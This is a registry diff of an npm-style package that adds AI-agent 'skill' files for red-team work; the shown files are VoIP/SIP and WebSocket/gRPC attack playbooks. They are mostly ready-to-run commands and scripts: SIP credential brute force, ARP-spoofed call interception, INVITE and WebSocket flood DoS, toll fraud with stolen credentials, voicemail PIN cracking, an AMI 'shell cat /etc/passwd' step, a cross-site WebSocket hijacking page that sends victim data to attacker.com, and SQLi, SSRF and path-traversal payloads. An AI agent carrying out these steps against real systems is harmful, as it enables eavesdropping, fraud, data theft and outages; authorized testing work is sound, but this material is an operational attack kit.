rtexit-method 0.1.6 → 0.1.8
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/packaged-assets/.agents/skills/rt-ai-llm-security/SKILL.md +385 -0
- package/packaged-assets/.agents/skills/rt-bluetooth-ble/SKILL.md +302 -0
- package/packaged-assets/.agents/skills/rt-browser-exploitation/SKILL.md +244 -0
- package/packaged-assets/.agents/skills/rt-oauth-oidc/SKILL.md +260 -0
- package/packaged-assets/.agents/skills/rt-printer-attacks/SKILL.md +213 -0
- package/packaged-assets/.agents/skills/rt-race-conditions/SKILL.md +357 -0
- package/packaged-assets/.agents/skills/rt-sap-exploitation/SKILL.md +275 -0
- package/packaged-assets/.agents/skills/rt-serverless/SKILL.md +274 -0
- package/packaged-assets/.agents/skills/rt-voip-sip/SKILL.md +231 -0
- package/packaged-assets/.agents/skills/rt-websockets-grpc/SKILL.md +357 -0
|
@@ -0,0 +1,231 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-voip-sip
|
|
3
|
+
description: "VoIP and SIP attack skill for authorized engagements. SIP enumeration with svmap/svwar, SIP credential brute force, INVITE flood DoS, call interception via ARP poisoning, RTP stream capture and decoding, SIP proxy authentication bypass, voicemail PIN brute force, SIP scanner fingerprinting (Asterisk, FreePBX, Cisco UCM), and toll fraud via unauthorized outbound calls. Use when engagement scope includes VoIP infrastructure, PBX systems, or unified communications."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-voip-sip — VoIP & SIP Exploitation
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
VoIP systems handle corporate phone calls, voicemail, and unified communications. SIP (Session Initiation Protocol) is the dominant signaling protocol. Compromising VoIP infrastructure enables: call interception, credential theft, toll fraud (making expensive calls at the company's expense), and pivoting through the VoIP VLAN into production networks.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Phase 1 — Discovery & Fingerprinting
|
|
15
|
+
|
|
16
|
+
```bash
|
|
17
|
+
# Install SIPvicious
|
|
18
|
+
pip3 install sipvicious
|
|
19
|
+
# Or: apt install sipvicious
|
|
20
|
+
|
|
21
|
+
# Scan for SIP devices (UDP 5060 by default)
|
|
22
|
+
svmap 10.10.10.0/24
|
|
23
|
+
# Discovers: SIP phones, PBX servers, gateways
|
|
24
|
+
# Output: IP, User-Agent (reveals Asterisk, FreePBX, Cisco, etc.)
|
|
25
|
+
|
|
26
|
+
# Enumerate extensions (SIP users)
|
|
27
|
+
svwar -e100-200 10.10.10.10 # Enumerate extensions 100-200
|
|
28
|
+
svwar -e100-999 10.10.10.10 -m REGISTER # Use REGISTER method
|
|
29
|
+
|
|
30
|
+
# Nmap SIP discovery
|
|
31
|
+
nmap -sU -p 5060 --script sip-enum-users 10.10.10.0/24
|
|
32
|
+
nmap -sU -p 5060 --script sip-methods 10.10.10.10 # Allowed methods
|
|
33
|
+
|
|
34
|
+
# Find SIP over TCP/TLS
|
|
35
|
+
nmap -sT -p 5060,5061 10.10.10.0/24
|
|
36
|
+
# 5060 = SIP (UDP/TCP)
|
|
37
|
+
# 5061 = SIP over TLS (SIPS)
|
|
38
|
+
|
|
39
|
+
# Find web admin panels
|
|
40
|
+
nmap -p 80,443,8080,8443 10.10.10.0/24
|
|
41
|
+
curl -k https://10.10.10.10/ # FreePBX, Cisco UCM web UI
|
|
42
|
+
```
|
|
43
|
+
|
|
44
|
+
---
|
|
45
|
+
|
|
46
|
+
## Phase 2 — SIP Credential Brute Force
|
|
47
|
+
|
|
48
|
+
```bash
|
|
49
|
+
# Brute force SIP accounts (REGISTER method)
|
|
50
|
+
svcrack -u 200 -d /opt/SecLists/Passwords/Common-Credentials/10k-most-common.txt 10.10.10.10
|
|
51
|
+
# -u 200 = extension/username to target
|
|
52
|
+
|
|
53
|
+
# Multiple extensions
|
|
54
|
+
for ext in 100 101 102 200 201 300; do
|
|
55
|
+
svcrack -u $ext -d rockyou.txt 10.10.10.10 &
|
|
56
|
+
done
|
|
57
|
+
|
|
58
|
+
# Hydra SIP brute force
|
|
59
|
+
hydra -l 200 -P rockyou.txt sip://10.10.10.10
|
|
60
|
+
|
|
61
|
+
# Default credentials to try first:
|
|
62
|
+
# Extension 200, Password: 200 (extension = password)
|
|
63
|
+
# Extension 100, Password: 1234
|
|
64
|
+
# admin / admin, admin / password
|
|
65
|
+
# Extension / (blank password)
|
|
66
|
+
|
|
67
|
+
# After credentials found — register as that extension
|
|
68
|
+
# Use Linphone, Zoiper, or MicroSIP with stolen creds
|
|
69
|
+
```
|
|
70
|
+
|
|
71
|
+
---
|
|
72
|
+
|
|
73
|
+
## Phase 3 — Call Interception
|
|
74
|
+
|
|
75
|
+
```bash
|
|
76
|
+
# ARP spoof to position between SIP phone and PBX
|
|
77
|
+
# Then capture RTP (audio) stream
|
|
78
|
+
|
|
79
|
+
# ARP spoof
|
|
80
|
+
arpspoof -i eth0 -t PHONE_IP PBX_IP &
|
|
81
|
+
arpspoof -i eth0 -t PBX_IP PHONE_IP &
|
|
82
|
+
|
|
83
|
+
# Capture SIP + RTP traffic
|
|
84
|
+
tcpdump -i eth0 -w voip_capture.pcap 'udp port 5060 or (udp portrange 10000-20000)'
|
|
85
|
+
|
|
86
|
+
# Analyze with Wireshark
|
|
87
|
+
# Telephony → VoIP Calls → select call → Play Streams
|
|
88
|
+
# Decodes RTP audio in real time
|
|
89
|
+
|
|
90
|
+
# rtpbreak — automatic RTP stream decoder
|
|
91
|
+
rtpbreak -n -i eth0 # Live capture
|
|
92
|
+
rtpbreak -d voip_capture.pcap # From file
|
|
93
|
+
# Output: separate .wav files per call
|
|
94
|
+
|
|
95
|
+
# Play captured calls
|
|
96
|
+
play call_1.wav # (sox)
|
|
97
|
+
|
|
98
|
+
# ucsniff — all-in-one VoIP sniffing tool
|
|
99
|
+
ucsniff -i eth0 -t PHONE_IP -g PBX_IP
|
|
100
|
+
# Automatic ARP spoof + capture + decode + save WAVs
|
|
101
|
+
```
|
|
102
|
+
|
|
103
|
+
---
|
|
104
|
+
|
|
105
|
+
## Phase 4 — INVITE Flood (DoS)
|
|
106
|
+
|
|
107
|
+
```bash
|
|
108
|
+
# Flood PBX with INVITE requests → crash or degrade service
|
|
109
|
+
|
|
110
|
+
# inviteflood
|
|
111
|
+
apt install inviteflood -y
|
|
112
|
+
inviteflood eth0 200 10.10.10.10 5060 1000
|
|
113
|
+
# Sends 1000 fake INVITE requests to extension 200
|
|
114
|
+
|
|
115
|
+
# svcrash — crash SIP devices with malformed packets
|
|
116
|
+
svcrash.py -i 10.10.10.10
|
|
117
|
+
|
|
118
|
+
# sipflood
|
|
119
|
+
python3 sipflood.py --target 10.10.10.10 --port 5060 --count 10000
|
|
120
|
+
```
|
|
121
|
+
|
|
122
|
+
---
|
|
123
|
+
|
|
124
|
+
## Phase 5 — Toll Fraud
|
|
125
|
+
|
|
126
|
+
```bash
|
|
127
|
+
# After obtaining SIP credentials → make expensive calls at company's expense
|
|
128
|
+
# International calls, premium rate numbers
|
|
129
|
+
|
|
130
|
+
# Register with stolen credentials and dial out
|
|
131
|
+
# Using PJSUA (command line SIP client)
|
|
132
|
+
pjsua --id sip:200@PBX_IP \
|
|
133
|
+
--registrar sip:PBX_IP \
|
|
134
|
+
--username 200 \
|
|
135
|
+
--password STOLEN_PASS \
|
|
136
|
+
--outbound sip:PBX_IP \
|
|
137
|
+
sip:+1900PREMIUMRATE@PBX_IP
|
|
138
|
+
|
|
139
|
+
# Or: configure any SIP softphone
|
|
140
|
+
# Zoiper / Linphone / X-Lite:
|
|
141
|
+
# Account: 200@PBX_IP
|
|
142
|
+
# Password: STOLEN_PASS
|
|
143
|
+
# Dial: 9011 (outside line) + international number
|
|
144
|
+
|
|
145
|
+
# In report: demonstrate by calling test number (never actual toll fraud)
|
|
146
|
+
# Use: https://www.voip.ms test numbers or your own number
|
|
147
|
+
```
|
|
148
|
+
|
|
149
|
+
---
|
|
150
|
+
|
|
151
|
+
## Phase 6 — Voicemail PIN Brute Force
|
|
152
|
+
|
|
153
|
+
```bash
|
|
154
|
+
# Voicemail systems often have short PINs (4-6 digits)
|
|
155
|
+
# Access voicemail → hear confidential messages, password resets
|
|
156
|
+
|
|
157
|
+
# FreePBX voicemail web access
|
|
158
|
+
curl -X POST https://PBX_IP/admin/config.php \
|
|
159
|
+
-d "display=voicemail&action=login&mailbox=200&context=default&pin=1234"
|
|
160
|
+
|
|
161
|
+
# Phone-based voicemail brute force
|
|
162
|
+
# Dial voicemail access number → enter extension → brute force PIN
|
|
163
|
+
# Use SIP client + DTMF automation
|
|
164
|
+
|
|
165
|
+
python3 << 'EOF'
|
|
166
|
+
import pjsua2 as pj
|
|
167
|
+
# Dial voicemail, wait for PIN prompt, send DTMF tones
|
|
168
|
+
# for pin in range(0000, 9999):
|
|
169
|
+
# send_dtmf(str(pin).zfill(4))
|
|
170
|
+
# if not "invalid" in response: print(f"PIN: {pin}")
|
|
171
|
+
EOF
|
|
172
|
+
|
|
173
|
+
# Default voicemail PINs
|
|
174
|
+
# 1234, 0000, 1111, extension number, last 4 of phone number
|
|
175
|
+
```
|
|
176
|
+
|
|
177
|
+
---
|
|
178
|
+
|
|
179
|
+
## Phase 7 — FreePBX / Asterisk Web Exploitation
|
|
180
|
+
|
|
181
|
+
```bash
|
|
182
|
+
# FreePBX web admin (default port 80/443)
|
|
183
|
+
# Default creds: admin/admin, admin/password, maint/password
|
|
184
|
+
|
|
185
|
+
# CVE-2019-19006 — FreePBX RCE (unauthenticated)
|
|
186
|
+
curl -X POST "http://PBX_IP/admin/ajax.php?module=userman&command=verifyToken" \
|
|
187
|
+
-d "token=1"
|
|
188
|
+
|
|
189
|
+
# Asterisk Manager Interface (AMI) — port 5038
|
|
190
|
+
# Default: telnet PBX_IP 5038
|
|
191
|
+
nmap -p 5038 PBX_IP
|
|
192
|
+
telnet PBX_IP 5038
|
|
193
|
+
# Login: admin/amp111 (FreePBX default)
|
|
194
|
+
|
|
195
|
+
# AMI commands after auth:
|
|
196
|
+
Action: Command
|
|
197
|
+
Command: core show channels
|
|
198
|
+
# See all active calls
|
|
199
|
+
|
|
200
|
+
Action: Originate
|
|
201
|
+
Channel: SIP/200
|
|
202
|
+
Exten: +14155551234
|
|
203
|
+
Context: from-internal
|
|
204
|
+
Priority: 1
|
|
205
|
+
# Make a call from extension 200
|
|
206
|
+
|
|
207
|
+
# AMI → OS command injection (if Asterisk runs as root — common misconfiguration)
|
|
208
|
+
Action: Command
|
|
209
|
+
Command: shell cat /etc/passwd
|
|
210
|
+
```
|
|
211
|
+
|
|
212
|
+
---
|
|
213
|
+
|
|
214
|
+
## Skill Levels
|
|
215
|
+
|
|
216
|
+
**BEGINNER:** svmap discovery + svwar extension enum + default credential testing
|
|
217
|
+
|
|
218
|
+
**INTERMEDIATE:** SIP credential brute force + ARP spoof + Wireshark VoIP call decode
|
|
219
|
+
|
|
220
|
+
**ADVANCED:** RTP stream decoding to WAV + INVITE flood DoS + toll fraud demonstration
|
|
221
|
+
|
|
222
|
+
**EXPERT:** FreePBX/Asterisk web exploitation + AMI command injection + encrypted SRTP decryption
|
|
223
|
+
|
|
224
|
+
---
|
|
225
|
+
|
|
226
|
+
## References
|
|
227
|
+
|
|
228
|
+
- SIPvicious: https://github.com/EnableSecurity/sipvicious
|
|
229
|
+
- ucsniff: https://github.com/pcapperez/ucsniff
|
|
230
|
+
- VoIP security guide: https://www.voip-info.org/asterisk-security/
|
|
231
|
+
- MITRE T1557: https://attack.mitre.org/techniques/T1557/
|
|
@@ -0,0 +1,357 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-websockets-grpc
|
|
3
|
+
description: "WebSocket and gRPC/protobuf attack skill for authorized engagements. WebSocket authentication bypass, message manipulation, cross-site WebSocket hijacking (CSWSH), WebSocket-based SQLi/XSS/SSRF injection, gRPC endpoint enumeration, protobuf message decoding and tampering, gRPC reflection abuse, and server-sent events testing. Use when testing modern web applications using real-time communication protocols."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-websockets-grpc — WebSocket & gRPC/Protobuf Attacks
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Modern web applications increasingly use WebSockets for real-time features (chat, notifications, live data) and gRPC for microservice communication. These protocols bypass many traditional WAF rules and security controls designed for HTTP/REST — creating overlooked attack surfaces.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Part 1 — WebSocket Attacks
|
|
15
|
+
|
|
16
|
+
### Phase 1 — WebSocket Discovery & Interception
|
|
17
|
+
|
|
18
|
+
```bash
|
|
19
|
+
# Find WebSocket connections
|
|
20
|
+
# Browser DevTools → Network → WS tab (filter by WS)
|
|
21
|
+
# Look for: ws:// or wss:// connections in page source
|
|
22
|
+
|
|
23
|
+
# Identify via Burp Suite
|
|
24
|
+
# Proxy → WebSockets history tab shows all WS messages
|
|
25
|
+
# Intercept → tick "Intercept WebSocket messages"
|
|
26
|
+
|
|
27
|
+
# Discover WebSocket endpoints
|
|
28
|
+
grep -r "new WebSocket\|io.connect\|socket.connect" ./js_files/
|
|
29
|
+
grep -r "ws://\|wss://" ./js_files/
|
|
30
|
+
|
|
31
|
+
# Test with wscat (WebSocket client)
|
|
32
|
+
npm install -g wscat
|
|
33
|
+
wscat -c wss://target.com/ws
|
|
34
|
+
wscat -c wss://target.com/ws -H "Cookie: session=YOUR_SESSION"
|
|
35
|
+
# > {"type":"ping"}
|
|
36
|
+
# < {"type":"pong"}
|
|
37
|
+
```
|
|
38
|
+
|
|
39
|
+
### Phase 2 — Authentication Bypass
|
|
40
|
+
|
|
41
|
+
```bash
|
|
42
|
+
# WebSocket auth often handled differently from HTTP
|
|
43
|
+
# Common patterns:
|
|
44
|
+
# 1. Auth via initial HTTP handshake (Upgrade request carries cookie/token)
|
|
45
|
+
# 2. Auth via first WS message after connection
|
|
46
|
+
# 3. No auth on WS (assumes network-level controls)
|
|
47
|
+
|
|
48
|
+
# Test: connect without auth credentials
|
|
49
|
+
wscat -c wss://target.com/ws # No cookie
|
|
50
|
+
# Send normal messages — if responses come back = no auth
|
|
51
|
+
|
|
52
|
+
# Token in URL (insecure — logged in server access logs)
|
|
53
|
+
wscat -c "wss://target.com/ws?token=LEAKED_TOKEN"
|
|
54
|
+
|
|
55
|
+
# Test with other users' tokens
|
|
56
|
+
wscat -c wss://target.com/ws -H "Cookie: session=OTHER_USER_SESSION"
|
|
57
|
+
```
|
|
58
|
+
|
|
59
|
+
### Phase 3 — Cross-Site WebSocket Hijacking (CSWSH)
|
|
60
|
+
|
|
61
|
+
```bash
|
|
62
|
+
# WebSocket upgrade requests don't enforce SameSite cookie by default
|
|
63
|
+
# If no CSRF token in handshake → CSWSH possible
|
|
64
|
+
|
|
65
|
+
# Check: does WS upgrade include CSRF token?
|
|
66
|
+
# Burp: look at GET /ws HTTP/1.1 request — only Origin + Cookie = vulnerable
|
|
67
|
+
|
|
68
|
+
# CSWSH PoC (attacker's page)
|
|
69
|
+
cat > cswsh.html << 'EOF'
|
|
70
|
+
<html><body>
|
|
71
|
+
<script>
|
|
72
|
+
var ws = new WebSocket('wss://target.com/ws');
|
|
73
|
+
// Cookie sent automatically (same as victim's browser)
|
|
74
|
+
ws.onopen = function() {
|
|
75
|
+
ws.send('{"type":"get_profile"}'); // Request victim's data
|
|
76
|
+
};
|
|
77
|
+
ws.onmessage = function(e) {
|
|
78
|
+
// Exfil to attacker
|
|
79
|
+
fetch('https://attacker.com/collect?data=' + encodeURIComponent(e.data));
|
|
80
|
+
};
|
|
81
|
+
</script>
|
|
82
|
+
</body></html>
|
|
83
|
+
EOF
|
|
84
|
+
# Host cswsh.html → trick victim into visiting → their WS messages exfiltrated
|
|
85
|
+
```
|
|
86
|
+
|
|
87
|
+
### Phase 4 — WebSocket Message Injection
|
|
88
|
+
|
|
89
|
+
```bash
|
|
90
|
+
# Inject attack payloads into WebSocket messages
|
|
91
|
+
# SQLi, XSS, SSRF, Command injection via WS
|
|
92
|
+
|
|
93
|
+
# SQLi in WS message
|
|
94
|
+
wscat -c wss://target.com/ws -H "Cookie: session=SESSION"
|
|
95
|
+
> {"action":"search","query":"test' OR '1'='1"}
|
|
96
|
+
> {"action":"search","query":"' UNION SELECT password FROM users--"}
|
|
97
|
+
|
|
98
|
+
# XSS via WS (reflected to other clients in chat apps)
|
|
99
|
+
> {"type":"message","content":"<img src=x onerror=alert(document.cookie)>"}
|
|
100
|
+
|
|
101
|
+
# SSRF via WS
|
|
102
|
+
> {"action":"fetch_url","url":"http://169.254.169.254/latest/meta-data/"}
|
|
103
|
+
> {"action":"fetch_url","url":"http://internal-service:8080/admin"}
|
|
104
|
+
|
|
105
|
+
# Path traversal
|
|
106
|
+
> {"action":"read_file","path":"../../../../etc/passwd"}
|
|
107
|
+
|
|
108
|
+
# Burp Suite — modify WS messages in flight
|
|
109
|
+
# WebSockets history → right-click message → Send to Repeater
|
|
110
|
+
# Modify payload → Send
|
|
111
|
+
```
|
|
112
|
+
|
|
113
|
+
### Phase 5 — WebSocket Denial of Service
|
|
114
|
+
|
|
115
|
+
```bash
|
|
116
|
+
# Large message flood
|
|
117
|
+
python3 << 'EOF'
|
|
118
|
+
import websocket, threading
|
|
119
|
+
|
|
120
|
+
def flood():
|
|
121
|
+
ws = websocket.WebSocket()
|
|
122
|
+
ws.connect("wss://target.com/ws",
|
|
123
|
+
header=["Cookie: session=SESSION"])
|
|
124
|
+
payload = "A" * 65535 # Max frame size
|
|
125
|
+
for _ in range(1000):
|
|
126
|
+
ws.send(payload)
|
|
127
|
+
|
|
128
|
+
threads = [threading.Thread(target=flood) for _ in range(50)]
|
|
129
|
+
[t.start() for t in threads]
|
|
130
|
+
[t.join() for t in threads]
|
|
131
|
+
EOF
|
|
132
|
+
```
|
|
133
|
+
|
|
134
|
+
---
|
|
135
|
+
|
|
136
|
+
## Part 2 — gRPC / Protobuf Attacks
|
|
137
|
+
|
|
138
|
+
### Phase 1 — gRPC Discovery & Enumeration
|
|
139
|
+
|
|
140
|
+
```bash
|
|
141
|
+
# gRPC runs over HTTP/2 on port 443 or custom ports
|
|
142
|
+
# Content-Type: application/grpc
|
|
143
|
+
|
|
144
|
+
# Fingerprint gRPC
|
|
145
|
+
curl -I https://target.com/
|
|
146
|
+
# Look for: content-type: application/grpc
|
|
147
|
+
|
|
148
|
+
nmap -sV -p 443,50051,8443 TARGET_IP
|
|
149
|
+
# 50051 = common gRPC default port
|
|
150
|
+
|
|
151
|
+
# gRPC reflection (server lists its services — if enabled)
|
|
152
|
+
# grpc_cli tool
|
|
153
|
+
apt install grpc-cli -y 2>/dev/null || pip3 install grpcurl
|
|
154
|
+
|
|
155
|
+
# grpcurl — curl for gRPC
|
|
156
|
+
grpcurl -plaintext TARGET_IP:50051 list
|
|
157
|
+
# Output: list of services
|
|
158
|
+
# com.target.UserService
|
|
159
|
+
# com.target.AuthService
|
|
160
|
+
|
|
161
|
+
grpcurl -plaintext TARGET_IP:50051 list com.target.UserService
|
|
162
|
+
# Output: methods
|
|
163
|
+
# GetUser
|
|
164
|
+
# CreateUser
|
|
165
|
+
# UpdateUser
|
|
166
|
+
|
|
167
|
+
grpcurl -plaintext TARGET_IP:50051 describe com.target.UserService.GetUser
|
|
168
|
+
# Output: full proto definition including field names/types
|
|
169
|
+
```
|
|
170
|
+
|
|
171
|
+
### Phase 2 — Protobuf Message Decoding
|
|
172
|
+
|
|
173
|
+
```bash
|
|
174
|
+
# gRPC messages are binary protobuf — not human readable
|
|
175
|
+
# Decode to understand structure
|
|
176
|
+
|
|
177
|
+
# Install protobuf tools
|
|
178
|
+
pip3 install protobuf grpcio grpcio-tools
|
|
179
|
+
|
|
180
|
+
# Capture gRPC traffic in Burp (HTTP/2 proxy)
|
|
181
|
+
# Raw protobuf bytes look like: 0a 05 68 65 6c 6c 6f
|
|
182
|
+
|
|
183
|
+
# Decode with protoc
|
|
184
|
+
python3 << 'EOF'
|
|
185
|
+
from google.protobuf import descriptor_pb2
|
|
186
|
+
from google.protobuf.message import DecodeError
|
|
187
|
+
import sys
|
|
188
|
+
|
|
189
|
+
# Raw protobuf bytes (from Burp intercept, after removing 5-byte gRPC header)
|
|
190
|
+
raw = bytes.fromhex("0a0568656c6c6f120577")
|
|
191
|
+
|
|
192
|
+
# Brute-force field interpretation
|
|
193
|
+
from google.protobuf import descriptor_pool, symbol_database
|
|
194
|
+
from google.protobuf.descriptor import FieldDescriptor
|
|
195
|
+
|
|
196
|
+
# Use protoscope for visual decode
|
|
197
|
+
# pip3 install protoscope
|
|
198
|
+
# protoscope < binary_message.bin
|
|
199
|
+
EOF
|
|
200
|
+
|
|
201
|
+
# blackboxprotobuf — decode unknown protobuf without .proto file
|
|
202
|
+
pip3 install blackboxprotobuf
|
|
203
|
+
python3 << 'EOF'
|
|
204
|
+
import blackboxprotobuf
|
|
205
|
+
message, typedef = blackboxprotobuf.decode_message(raw_bytes)
|
|
206
|
+
print(message)
|
|
207
|
+
# Shows field numbers and values even without proto definition
|
|
208
|
+
EOF
|
|
209
|
+
|
|
210
|
+
# Burp Suite gRPC extension
|
|
211
|
+
# BApp Store → "gRPC-Web" or "HTTP/2 over TLS"
|
|
212
|
+
# Automatically decodes protobuf in Burp UI
|
|
213
|
+
```
|
|
214
|
+
|
|
215
|
+
### Phase 3 — gRPC Message Tampering
|
|
216
|
+
|
|
217
|
+
```bash
|
|
218
|
+
# Intercept → decode → modify → re-encode → send
|
|
219
|
+
|
|
220
|
+
python3 << 'EOF'
|
|
221
|
+
import grpc
|
|
222
|
+
import target_pb2 # Generated from .proto (or reconstructed)
|
|
223
|
+
import target_pb2_grpc
|
|
224
|
+
|
|
225
|
+
# Connect to gRPC service
|
|
226
|
+
channel = grpc.insecure_channel('target.com:50051')
|
|
227
|
+
# For TLS:
|
|
228
|
+
# channel = grpc.secure_channel('target.com:443', grpc.ssl_channel_credentials())
|
|
229
|
+
|
|
230
|
+
stub = target_pb2_grpc.UserServiceStub(channel)
|
|
231
|
+
|
|
232
|
+
# Normal request
|
|
233
|
+
request = target_pb2.GetUserRequest(user_id=123)
|
|
234
|
+
response = stub.GetUser(request)
|
|
235
|
+
print(response)
|
|
236
|
+
|
|
237
|
+
# Tamper: access other user's data (IDOR)
|
|
238
|
+
for uid in range(1, 1000):
|
|
239
|
+
request = target_pb2.GetUserRequest(user_id=uid)
|
|
240
|
+
try:
|
|
241
|
+
response = stub.GetUser(request)
|
|
242
|
+
print(f"User {uid}: {response.username} | {response.email}")
|
|
243
|
+
except grpc.RpcError as e:
|
|
244
|
+
pass
|
|
245
|
+
|
|
246
|
+
# Mass assignment: send extra fields
|
|
247
|
+
request = target_pb2.UpdateUserRequest(
|
|
248
|
+
user_id=123,
|
|
249
|
+
name="test",
|
|
250
|
+
# Try admin field not in normal API
|
|
251
|
+
is_admin=True, # field 99 (guessed)
|
|
252
|
+
role="administrator" # field 100 (guessed)
|
|
253
|
+
)
|
|
254
|
+
response = stub.UpdateUser(request)
|
|
255
|
+
EOF
|
|
256
|
+
```
|
|
257
|
+
|
|
258
|
+
### Phase 4 — gRPC Authentication Bypass
|
|
259
|
+
|
|
260
|
+
```bash
|
|
261
|
+
# gRPC auth via metadata (HTTP headers equivalent)
|
|
262
|
+
|
|
263
|
+
# Check if auth is enforced on all methods
|
|
264
|
+
grpcurl -plaintext TARGET:50051 com.target.UserService/GetUser \
|
|
265
|
+
-d '{"user_id": 1}'
|
|
266
|
+
# If response without token → no auth
|
|
267
|
+
|
|
268
|
+
# JWT in metadata
|
|
269
|
+
grpcurl -plaintext TARGET:50051 com.target.UserService/GetUser \
|
|
270
|
+
-H "authorization: Bearer EXPIRED_OR_INVALID_JWT" \
|
|
271
|
+
-d '{"user_id": 1}'
|
|
272
|
+
|
|
273
|
+
# Try accessing admin methods without auth
|
|
274
|
+
grpcurl -plaintext TARGET:50051 com.target.AdminService/DeleteUser \
|
|
275
|
+
-d '{"user_id": 99}'
|
|
276
|
+
|
|
277
|
+
# gRPC reflection = information disclosure (if enabled in prod)
|
|
278
|
+
grpcurl -plaintext TARGET:50051 grpc.reflection.v1alpha.ServerReflection/ServerReflectionInfo
|
|
279
|
+
# Returns ALL service definitions — full API map without documentation
|
|
280
|
+
```
|
|
281
|
+
|
|
282
|
+
### Phase 5 — Injection via gRPC
|
|
283
|
+
|
|
284
|
+
```bash
|
|
285
|
+
# Inject attack payloads into protobuf string fields
|
|
286
|
+
|
|
287
|
+
python3 << 'EOF'
|
|
288
|
+
import grpc, target_pb2, target_pb2_grpc
|
|
289
|
+
|
|
290
|
+
channel = grpc.insecure_channel('target.com:50051')
|
|
291
|
+
stub = target_pb2_grpc.SearchServiceStub(channel)
|
|
292
|
+
|
|
293
|
+
# SQLi
|
|
294
|
+
payloads = [
|
|
295
|
+
"' OR '1'='1",
|
|
296
|
+
"' UNION SELECT password FROM users--",
|
|
297
|
+
"'; DROP TABLE users;--",
|
|
298
|
+
]
|
|
299
|
+
for p in payloads:
|
|
300
|
+
req = target_pb2.SearchRequest(query=p)
|
|
301
|
+
try:
|
|
302
|
+
r = stub.Search(req)
|
|
303
|
+
print(f"SQLi [{p[:20]}]: {r}")
|
|
304
|
+
except Exception as e:
|
|
305
|
+
print(f"Error: {e}")
|
|
306
|
+
|
|
307
|
+
# SSRF via URL field
|
|
308
|
+
req = target_pb2.FetchRequest(url="http://169.254.169.254/latest/meta-data/")
|
|
309
|
+
r = stub.Fetch(req)
|
|
310
|
+
print("SSRF response:", r.content[:200])
|
|
311
|
+
EOF
|
|
312
|
+
```
|
|
313
|
+
|
|
314
|
+
---
|
|
315
|
+
|
|
316
|
+
## Tools Summary
|
|
317
|
+
|
|
318
|
+
```bash
|
|
319
|
+
# WebSocket tools
|
|
320
|
+
wscat # CLI WebSocket client
|
|
321
|
+
websocat # Feature-rich WS client (Rust)
|
|
322
|
+
wsfuzz # WebSocket fuzzer
|
|
323
|
+
|
|
324
|
+
# gRPC tools
|
|
325
|
+
grpcurl # curl equivalent for gRPC
|
|
326
|
+
grpc_cli # Official gRPC CLI
|
|
327
|
+
Evans # Interactive gRPC client (REPL)
|
|
328
|
+
blackboxprotobuf # Protobuf decode without .proto
|
|
329
|
+
Burp gRPC plugin # BApp Store
|
|
330
|
+
|
|
331
|
+
# Install Evans (interactive gRPC)
|
|
332
|
+
go install github.com/ktr0731/evans@latest
|
|
333
|
+
evans --host target.com --port 50051 --reflection repl
|
|
334
|
+
# Interactive: show package, show service, call GetUser
|
|
335
|
+
```
|
|
336
|
+
|
|
337
|
+
---
|
|
338
|
+
|
|
339
|
+
## Skill Levels
|
|
340
|
+
|
|
341
|
+
**BEGINNER:** wscat for WebSocket testing · grpcurl reflection enumeration · Basic message injection
|
|
342
|
+
|
|
343
|
+
**INTERMEDIATE:** CSWSH exploit · Protobuf decode with blackboxprotobuf · gRPC IDOR via field tampering
|
|
344
|
+
|
|
345
|
+
**ADVANCED:** Burp Suite WS/gRPC interception and modification · Authentication bypass chains · Mass assignment via unknown fields
|
|
346
|
+
|
|
347
|
+
**EXPERT:** Custom gRPC proxy for automated fuzzing · WebSocket race conditions · Binary protocol reverse engineering
|
|
348
|
+
|
|
349
|
+
---
|
|
350
|
+
|
|
351
|
+
## References
|
|
352
|
+
|
|
353
|
+
- PortSwigger WebSockets: https://portswigger.net/web-security/websockets
|
|
354
|
+
- grpcurl: https://github.com/fullstorydev/grpcurl
|
|
355
|
+
- blackboxprotobuf: https://github.com/nccgroup/blackboxprotobuf
|
|
356
|
+
- Evans: https://github.com/ktr0731/evans
|
|
357
|
+
- MITRE T1071.001: https://attack.mitre.org/techniques/T1071/001/
|